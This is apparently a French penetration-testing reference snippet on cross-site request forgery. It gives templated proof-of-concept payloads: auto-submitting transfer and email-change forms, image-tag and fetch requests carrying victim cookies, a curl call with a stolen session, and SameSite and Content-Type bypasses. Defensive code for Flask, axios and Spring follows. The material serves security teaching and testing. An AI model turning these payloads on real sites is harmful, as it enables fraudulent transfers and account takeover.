---
title: "CSRF — Cross-Site Request Forgery"
domain: security
subdomain: pentest
phase: 04-exploitation
type: snippet
tags: [csrf, samesite, token, burpsuite, cors, pentest]
difficulty: intermediate
status: stable
updated: "2026-05-14"
---
## Principe

```
CSRF : forcer le navigateur d'un utilisateur authentifié à envoyer une requête
vers une application sans son consentement.

Conditions :
  1. L'utilisateur est authentifié (cookie de session actif)
  2. L'application accepte des actions via requêtes cross-origin
  3. Pas de token CSRF côté serveur, ou token non vérifié

Exemple :
  Victime connectée à bank.com → visite evil.com
  evil.com contient un formulaire auto-soumis vers bank.com/transfer
  → Virement exécuté avec les cookies valides de la victime
```

---

## Génération de PoC CSRF

### Formulaire HTML auto-soumis (POST)

```html
<!-- PoC CSRF — virement bancaire -->
<html>
<body onload="document.forms[0].submit()">
  <form action="https://{{TARGET}}/account/transfer" method="POST">
    <input type="hidden" name="amount"     value="1000" />
    <input type="hidden" name="to_account" value="{{ATTACKER_ACCOUNT}}" />
    <input type="hidden" name="currency"   value="EUR" />
  </form>
</body>
</html>
```

```html
<!-- PoC CSRF — changement d'email (sans interaction utilisateur) -->
<html>
<body>
  <img src="x" onerror="
    var f=document.createElement('form');
    f.method='POST';
    f.action='https://{{TARGET}}/settings/email';
    var i=document.createElement('input');
    i.name='email'; i.value='{{ATTACKER_EMAIL}}';
    f.appendChild(i);
    document.body.appendChild(f);
    f.submit();
  ">
</body>
</html>
```

### CSRF GET (si l'action modifiante est en GET)

```html
<!-- Simple img tag — déclenche la requête GET sans interaction -->
<img src="https://{{TARGET}}/admin/delete-user?id=42" width="0" height="0">

<!-- Ou via fetch (si CORS mal configuré) -->
<script>
  fetch('https://{{TARGET}}/api/transfer', {
    method: 'POST',
    credentials: 'include',   // envoie les cookies
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({to: '{{ATTACKER_ACCOUNT}}', amount: 1000})
  });
</script>
```

---

## Burp Suite — Génération automatique de PoC

```
1. Intercepter la requête cible dans Burp Proxy
2. Clic droit → Engagement Tools → Generate CSRF PoC
3. Burp génère le formulaire HTML correspondant
4. Tester → "Test in browser"
5. Vérifier que l'action s'exécute sans token CSRF dans la requête
```

---

## Bypass de protections CSRF

### Bypass du token CSRF si validé côté client seulement

```bash
# Test 1 : supprimer le token de la requête
# Si l'action s'effectue → token non vérifié côté serveur

# Test 2 : envoyer un token vide ou invalide
curl -X POST https://{{TARGET}}/transfer \
  -b "session={{STOLEN_SESSION}}" \
  -d "amount=1000&to={{ATTACKER}}&csrf_token="

# Test 3 : réutiliser son propre token pour une autre victime
# (si le token n'est pas lié à la session)
```

### Bypass SameSite=Lax

```html
<!-- SameSite=Lax autorise les requêtes GET sur navigation "top-level"
     (lien cliqué, redirect) mais bloque les formulaires POST cross-site -->

<!-- Bypass : forcer une navigation top-level via window.open + redirect -->
<script>
  window.open('https://{{TARGET}}/transfer?amount=1000&to={{ATTACKER}}');
</script>

<!-- Bypass via sous-domaine si un sous-domaine est compromis -->
<!-- sub.{{TARGET_DOMAIN}} peut envoyer une requête cross-site vers {{TARGET_DOMAIN}}
     car même eTLD+1 → SameSite=Lax ne bloque pas -->
```

### CSRF via JSON avec Content-Type bypass

```html
<!-- Si l'API accepte application/json mais que la vérif CT est faible -->
<form action="https://{{TARGET}}/api/transfer" method="POST" enctype="text/plain">
  <!-- text/plain est autorisé en CORS simple request -->
  <!-- Torsader le body pour qu'il ressemble à du JSON -->
  <input name='{"amount":1000,"to":"{{ATTACKER}}"' value='}' />
</form>
```

---

## Test avec Fetch (CORS + CSRF combiné)

```javascript
// Si CORS est ouvert (Access-Control-Allow-Origin: *) → test CSRF avec fetch
fetch('https://{{TARGET}}/api/user/delete', {
  method: 'DELETE',
  credentials: 'include',
  headers: {
    'Content-Type': 'application/json',
    'X-Requested-With': 'XMLHttpRequest'
  }
}).then(r => r.text()).then(console.log);

// Si credentials: 'include' est accepté côté serveur avec CORS non restrictif
// → CSRF via fetch fonctionne même avec SameSite absent
```

---

## Défense — Tokens anti-CSRF

```python
# Python (Flask + Flask-WTF) — token CSRF synchronisé
from flask_wtf.csrf import CSRFProtect

app = Flask(__name__)
app.config['SECRET_KEY'] = os.environ['SECRET_KEY']
csrf = CSRFProtect(app)   # Protection CSRF globale sur tous les formulaires POST

# Dans le template HTML :
# <form method="POST">
#   <input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
# </form>
```

```javascript
// JavaScript (axios) — inclure le token CSRF dans chaque requête
// Lire le token depuis le cookie (Double Submit Cookie pattern)
function getCsrfToken() {
  return document.cookie.split('; ')
    .find(c => c.startsWith('csrftoken='))
    ?.split('=')[1];
}

axios.defaults.headers.common['X-CSRFToken'] = getCsrfToken();

// Ou injecté dans un meta tag :
// <meta name="csrf-token" content="{{ csrf_token }}">
const token = document.querySelector('meta[name="csrf-token"]').content;
axios.defaults.headers.common['X-CSRF-Token'] = token;
```

```java
// Spring Security — CSRF activé par défaut (ne pas le désactiver !)
@Configuration
public class SecurityConfig extends WebSecurityConfigurerAdapter {
    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http
            .csrf()                      // Activé par défaut
            .csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
            // withHttpOnlyFalse → JS peut lire le cookie pour l'envoyer en header
            .and()
            .authorizeRequests()
            .anyRequest().authenticated();
    }
}
```

---

## Défense — Headers et cookies

```
Cookie de session :
  SameSite=Strict  → bloque TOUTES les requêtes cross-site (y compris navigation)
  SameSite=Lax     → bloque POST cross-site, autorise GET navigation (bon compromis)
  SameSite=None    → uniquement si Secure est aussi présent — à éviter si possible

Header supplémentaire (vérification Origin / Referer) :
  → Vérifier que Origin ou Referer correspond au domaine attendu côté serveur
  → Rejeter si Origin absent OU si Origin ≠ domaine autorisé
  → NE PAS faire confiance à Referer seul (peut être manipulé)

Custom Header (synchronizer token via header) :
  X-Requested-With: XMLHttpRequest  → les navigateurs n'envoient pas ce header en
  cross-site pour les requêtes simples (seulement en same-origin ou CORS autorisé)
```

<Warning>
La désactivation du CSRF dans Spring (`csrf().disable()`) est l'une des erreurs les plus courantes dans les tutos et templates de démarrage. Elle est souvent faite "pour simplifier le dev" et oubliée en production. Ne jamais désactiver CSRF sur les APIs qui utilisent des cookies d'authentification.
</Warning>

<Tip>
`SameSite=Strict` + token CSRF synchronisé est la combinaison la plus solide. Le cookie SameSite protège contre la plupart des attaques sans code supplémentaire, et le token est le filet de sécurité pour les cas edge (sous-domaines compromis, redirects). Sur une SPA avec JWT en localStorage (pas de cookie), le CSRF n'est pas applicable — mais XSS le devient le vecteur principal.
</Tip>
